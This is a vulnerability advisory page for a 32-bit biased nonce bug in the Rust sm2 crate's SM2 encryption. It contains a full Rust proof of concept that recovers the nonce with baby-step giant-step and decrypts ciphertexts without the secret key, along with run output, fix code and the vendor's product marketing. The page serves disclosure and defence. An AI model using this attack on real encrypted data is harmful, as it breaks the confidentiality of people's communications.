Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🦀 crates.io

GHSA-w3g8-fp6j-wvqw

SM2-PKE has 32-bit Biased Nonce Vulnerability

Also known asCVE-2026-22698
Published
Jan 9, 2026
Updated
Feb 3, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk16th percentile+0.19%
0.00%0.25%0.50%0.75%0.0%0.2%Feb 26May 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🦀sm2

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A critical vulnerability exists in the SM2 Public Key Encryption (PKE) implementation where the ephemeral nonce k is generated with severely reduced entropy. A unit mismatch error causes the nonce generation function to request only 32 bits of randomness instead of the expected 256 bits. This reduces the security of the encryption from a 128-bit level to a trivial 16-bit level, allowing a practical attack to recover the nonce k and decrypt any ciphertext given only the public key and ciphertext.

Affected Versions

This vulnerability is introduced in commit: Commit 4781762 on Sep 6, 2024, which is over a year ago.

Details

The root cause of this vulnerability is a unit mismatch in the encrypt function located in sm2/src/pke/encrypting.rs.

  1. The code correctly calculates the byte-length of the curve order (256 bits / 8 = 32 bytes) and stores it in a constant N_BYTES.
    const N_BYTES: u32 = Sm2::ORDER.as_ref().bits().div_ceil(8); // Value is 32 (bytes)
    
  2. However, this N_BYTES value is then passed to the next_k helper function, which incorrectly interprets this value as a bit length.
    let k = Scalar::from_uint(&next_k(rng, N_BYTES)?).unwrap();
    
  3. Inside next_k, the bit_length parameter (which holds the value 32) is passed directly to U256::try_random_bits, a function that generates a random number with the specified number of bits.
    fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R, bit_length: u32) -> Result<U256> {
        let k = U256::try_random_bits(rng, bit_length).map_err(|_| Error)?;
        // ...
    }
    
    As a result, the ephemeral nonce k is generated with only 32 bits of entropy, with its upper 224 bits being zero. This catastrophic loss of randomness makes the encryption scheme insecure.

PoC

A proof-of-concept demonstrating the feasibility of this attack is provided in examples/bsgs_recover.rs. The PoC performs the following steps:

  1. Encrypt a Message: It uses the vulnerable EncryptingKey::encrypt function to encrypt a sample message.
  2. Extract Ephemeral Public Key: It parses the ciphertext to extract C1, which is the ephemeral public key [k]G.
  3. Recover Nonce k: It runs a Baby-Step Giant-Step (BSGS) algorithm to search the reduced 2^32 search space for the nonce k. This attack is computationally feasible on modern hardware in seconds with time complexity O(2^16).
  4. Decrypt without Secret Key: Once k is recovered, it computes the shared secret [k]PB (where PB is the recipient's public key) and successfully decrypts the ciphertext without access to the recipient's secret key.

examples/bsgs_recover.rs

//! Example: Recover low-entropy nonce k via Baby-Step Giant-Step (BSGS)
//!
//! This example intentionally demonstrates an attack on the vulnerable
//! `EncryptingKey::encrypt` implementation which (in the current repository
//! state) may generate k with only 32 bits of entropy. The example:
//! - Generates a key pair and encrypts a short plaintext.
//! - Extracts C1 from the ciphertext (ephemeral public key [k]G).
//! - Runs BSGS over the reduced search space 2^32 to recover k and decrypt: time O(2^16), space O(2^16).
//!

use std::collections::HashMap;
use std::error::Error;

use rand_core::OsRng;

use sm2::{
    pke::Mode,
    pke::EncryptingKey,
    PublicKey,
    SecretKey,
    AffinePoint,
    ProjectivePoint,
    Scalar,
};
use elliptic_curve::bigint::U256;
use elliptic_curve::{Group, Curve};
use elliptic_curve::sec1::{FromEncodedPoint, ToEncodedPoint};
use sm3::{Sm3, Digest};

/// Baby-step giant-step over the 32-bit search space.
fn bsgs_recover_k(c1: &AffinePoint) -> Option<U256> {
    // search parameters
    let m: u32 = 1 << 16; // baby/giant step size -> covers 2^32 space

    // baby steps: j*G -> j
    let mut baby: HashMap<Vec<u8>, u32> = HashMap::with_capacity(m as usize + 1);
    for j in 0..m {
        let j_u256 = U256::from_u32(j);
        let s = Scalar::from_uint(&j_u256).unwrap();
        let p = ProjectivePoint::mul_by_generator(&s).to_affine();
        let ep = p.to_encoded_point(false);
        baby.insert(ep.as_bytes().to_vec(), j);
    }

    // giant steps
    for i in 0..=m {
        let im = (i as u64) * (m as u64);
        let im_u256 = U256::from_u64(im);
        let im_scalar = Scalar::from_uint(&im_u256).unwrap();
        let im_point = ProjectivePoint::mul_by_generator(&im_scalar).to_affine();

        // candidate = C1 - im_point
        let c1_proj = ProjectivePoint::from(c1);
        let im_proj = ProjectivePoint::from(&im_point);
        let candidate_proj = c1_proj + (-im_proj);
        let candidate = candidate_proj.to_affine();
        let cand_bytes = candidate.to_encoded_point(false).as_bytes().to_vec();

        if let Some(&j) = baby.get(&cand_bytes) {
            let k_recovered = im + (j as u64);
            return Some(U256::from_u64(k_recovered));
        }
    }
    None
}

/// KDF using SM3 (re-implementation of crate internal `kdf`).
fn kdf_sm3(kpb: AffinePoint, c2: &mut [u8]) {
    let mut hasher = Sm3::new();
    let klen = c2.len();
    let mut ct: u32 = 0x00000001;
    let digest_size = 32usize; // SM3 output is 32 bytes
    let mut ha = vec![0u8; digest_size];
    let encode_point = kpb.to_encoded_point(false);

    let mut offset = 0usize;
    while offset < klen {
        hasher.update(encode_point.x().unwrap());
        hasher.update(encode_point.y().unwrap());
        hasher.update(&ct.to_be_bytes());
        let out = hasher.finalize_reset();
        ha.copy_from_slice(out.as_slice());

        let xor_len = core::cmp::min(digest_size, klen - offset);
        for i in 0..xor_len {
            c2[offset + i] ^= ha[i];
        }
        offset += xor_len;
        ct = ct.wrapping_add(1);
    }
}

/// Decrypt ciphertext given recovered k and recipient public key (without secret key).
fn decrypt_with_k(pubkey: &PublicKey, k: U256, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // parse c1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    if ciphertext.len() < c1_len {
        return Err("ciphertext too short".into());
    }
    let (_c1_bytes, rest) = ciphertext.split_at(c1_len);

    // derive shared point hpb = [h*k]PB; for SM2 cofactor h == 1 so this is [k]PB
    let pb_affine = pubkey.as_affine();
    let k_scalar = Scalar::from_uint(&k).unwrap();
    let s = *pb_affine; // cofactor h == 1
    let hpb = (s * k_scalar).to_affine();

    // split rest into c2 and c3 depending on mode
    let digest_size = 32usize; // SM3 output size
    let (c2_slice, c3_slice) = match mode {
        Mode::C1C2C3 => {
            let c2_len = rest.len() - digest_size;
            rest.split_at(c2_len)
        }
        Mode::C1C3C2 => {
            let (c3, c2) = rest.split_at(digest_size);
            (c2, c3)
        }
    };

    let mut c2 = c2_slice.to_owned();
    // KDF to recover plaintext
    kdf_sm3(hpb, &mut c2);

    // verify c3
    let mut check = Sm3::new();
    let enc = hpb.to_encoded_point(false);
    check.update(enc.x().unwrap());
    check.update(&c2);
    check.update(enc.y().unwrap());
    let out = check.finalize_reset();
    if out.as_slice() != c3_slice {
        return Err("c3 verification failed".into());
    }

    Ok(c2)
}

/// High-level: given ciphertext and recipient public key, recover k via BSGS and decrypt.
fn recover_and_decrypt(pubkey: &PublicKey, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // extract C1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    let (c1_bytes, _rest) = ciphertext.split_at(c1_len);
    let encoded = sm2::EncodedPoint::from_bytes(c1_bytes)?;
    let c1_affine = AffinePoint::from_encoded_point(&encoded).unwrap();

    if let Some(k) = bsgs_recover_k(&c1_affine) {
        println!("recovered k = 0x{:x}", k);
        let plain = decrypt_with_k(pubkey, k, ciphertext, mode)?;
        return Ok(plain);
    }
    Err("failed to recover k".into())
}

fn main() -> Result<(), Box<dyn Error>> {
    // demo: generate keypair, encrypt, then recover and decrypt without secret key
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng)?;
    let pk = sk.public_key();
    let ek = EncryptingKey::new_with_mode(pk, Mode::C1C2C3);
    let msg = b"attack-demo-sm2-bsgs-recover-example";
    let ct = ek.encrypt(&mut rng, msg)?;
    print!("Trying to recover k and decrypt...\n");
    let recovered = recover_and_decrypt(&pk, &ct, Mode::C1C2C3)?;
    println!("recovered plaintext: {}", std::str::from_utf8(&recovered)?);
    Ok(())
}

To run the PoC (tested on Apple M3):

$ time cargo run --example bsgs_recover 
Trying to recover k and decrypt...
recovered k = 0x00000000000000000000000000000000000000000000000000000000ca4f2d79
recovered plaintext: attack-demo-sm2-bsgs-recover-example
cargo run --example bsgs_recover  14.44s user 0.13s system 89% cpu 16.266 total

Impact

This vulnerability leads to a complete loss of confidentiality for all data encrypted using the SM2 PKE implementation in this library. Any attacker who obtains a ciphertext can recover the plaintext in a feasible amount of time (several seconds).

The severity is Critical, as it breaks the core security promise of the public key encryption scheme. All versions of the sm2 crate with the vulnerable PKE implementation are affected.

  • Fix 1: Modify the input parameter to the correct 256 bits

    let k_uint = next_k(rng, N_BYTES * 8)?;
    
  • Fix 2: We believe that the next_k function should only generate a 256-bit nonce to ensure security, therefore the parameter is unnecessary.

    fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R) -> Result<U256> {
        loop {
            let k = U256::try_random_bits(rng, 256).map_err(|_| Error)?;
            if !bool::from(k.is_zero()) && k < *Sm2::ORDER {
                return Ok(k);
            }
        }
    }
    

Credit

This vulnerability was discovered by:

  • XlabAI Team of Tencent Xuanwu Lab
  • Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach out for further discussion via email at [email protected].

Note

SM2 follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, the organization reserves the right to publicly disclose all information about the issues after this timeframe.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🦀crates.iosm20.14.0-pre.0No fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for sm2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of sm2 has shipped for GHSA-w3g8-fp6j-wvqw yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-w3g8-fp6j-wvqw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-w3g8-fp6j-wvqw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A critical vulnerability exists in the SM2 Public Key Encryption (PKE) implementation where the ephemeral nonce `k` is generated with severely reduced entropy. A unit mismatch error causes the nonce generation function to request only 32 bits of randomness instead of the expected 256 bits. This reduces the security of the encryption from a 128-bit level to a trivial 16-bit level, allowing a practical attack to recover the nonce `k` and decrypt any ciphertext **given only the public key and ciphertext**. ### Affected Versions - sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14
O3 Security · Impact-Aware SCA

Is GHSA-w3g8-fp6j-wvqw in your dependencies?

O3 detects GHSA-w3g8-fp6j-wvqw across crates.io dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.